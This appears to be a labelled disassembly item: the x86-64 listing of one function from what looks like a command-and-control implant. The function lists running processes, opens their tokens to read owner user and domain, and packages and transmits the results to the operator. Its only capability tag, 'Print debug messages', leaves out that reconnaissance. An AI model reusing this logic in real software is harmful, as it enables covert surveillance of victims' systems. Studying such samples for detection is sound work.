Function at 0x14000e500
Capabilities:
Print debug messages

Disassembly:
push r15
push r14
mov r14, rcx
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x68
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x38]
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x40], 0
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x58], 0
call sym.ProcessSnapShot
mov rbp, qword [0x14002d650]
test eax, eax
js 0x14000e775
mov rax, qword [rsp + 0x40]
mov r9, qword [rsp + 0x38]
xor ebx, ebx
lea rsi, str.CommandProcList
mov r8d, 0x243
mov rdx, rsi
lea rcx, str._DEBUG::_s::_d__SysProcessInfo:__p_:__d_n
mov qword [rsp + 0x20], rax
lea r15, [0x140027618]
call sym.DbgPrint
mov ecx, 0xc
mov r13, qword [rsp + 0x38]
call sym.PackageCreate
mov rcx, r14
mov r12, rax
call sym.ParserGetInt32
mov rcx, r12
mov edx, eax
call sym.PackageAddInt32
mov rax, qword [rbp]
cmp dword [rax + 0x5c], 2
mov rax, qword [rsp + 0x38]
sbb edx, edx
mov ecx, dword [rax + 0x50]
and edx, 0xfffff400
add edx, 0x1000
call sym.ProcessOpen
mov r14, rax
test rax, rax
je 0x14000e669
lea r8, [rsp + 0x48]
mov edx, 8
mov rcx, rax
call sym.SysNtOpenProcessToken
mov r9d, eax
test eax, eax
js 0x14000e64a
mov rcx, qword [rsp + 0x48]
xor r8d, r8d
lea rdx, [rsp + 0x50]
call sym.TokenQueryOwner
test eax, eax
jne 0x14000e62e
lea r9, str.Failed_to_get_Username_and_Domain_n
mov r8d, 0x25d
mov rdx, rsi
mov rcx, r15
call sym.printf.constprop.0_5
jmp 0x14000e65f
mov r9, qword [rsp + 0x50]
mov r8d, 0x25f
mov rdx, rsi
lea rcx, str._DEBUG::_s::_d__UserDomain:__ls_n
call sym.DbgPrint
jmp 0x14000e65f
mov r8d, 0x262
mov rdx, rsi
lea rcx, str._DEBUG::_s::_d__NtOpenProcessToken_Failed____lx_n
call sym.DbgPrint
mov rcx, r14
call sym.ProcessIsWow
mov ebx, eax
mov rax, qword [rsp + 0x38]
mov rcx, r12
movzx r8d, word [rax + 0x38]
mov rdx, qword [rax + 0x40]
call sym.PackageAddBytes
mov rax, qword [rsp + 0x38]
mov rcx, r12
mov edx, dword [rax + 0x50]
call sym.PackageAddInt32
mov edx, ebx
mov rcx, r12
call sym.PackageAddInt32
mov rax, qword [rsp + 0x38]
mov rcx, r12
mov edx, dword [rax + 0x58]
call sym.PackageAddInt32
mov rax, qword [rsp + 0x38]
mov rcx, r12
mov edx, dword [rax + 0x64]
call sym.PackageAddInt32
mov rax, qword [rsp + 0x38]
mov rcx, r12
mov edx, dword [rax + 4]
call sym.PackageAddInt32
mov rdx, qword [rsp + 0x50]
mov r8d, dword [rsp + 0x58]
mov rcx, r12
call sym.PackageAddBytes
mov rax, qword [rbp]
mov rdx, qword [rsp + 0x38]
mov eax, dword [rax + 0x4c]
cmp qword [rdx + 0x50], rax
je 0x14000e6f5
mov rcx, r14
call sym.SysNtClose
mov rcx, qword [rsp + 0x48]
test rcx, rcx
je 0x14000e70d
call sym.SysNtClose
mov qword [rsp + 0x48], 0
mov rdi, qword [rsp + 0x50]
test rdi, rdi
je 0x14000e73a
mov ecx, dword [rsp + 0x58]
xor eax, eax
rep stosb byte [rdi], al
mov rcx, qword [rsp + 0x50]
call sym.MmHeapFree
mov dword [rsp + 0x58], 0
mov qword [rsp + 0x50], 0
mov rax, qword [rsp + 0x38]
mov edx, dword [rax]
test edx, edx
je 0x14000e752
add rax, rdx
mov qword [rsp + 0x38], rax
jmp 0x14000e5b6
mov rcx, r12
call sym.PackageTransmit
test r13, r13
je 0x14000e78d
mov rcx, qword [rsp + 0x40]
mov rdi, r13
xor eax, eax
rep stosb byte [rdi], al
mov rcx, r13
call sym.MmHeapFree
jmp 0x14000e78d
mov ecx, eax
mov rax, qword [rbp]
call qword [rax + 0x160]
mov ecx, 1
mov edx, eax
call sym.PackageTransmitError
add rsp, 0x68
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret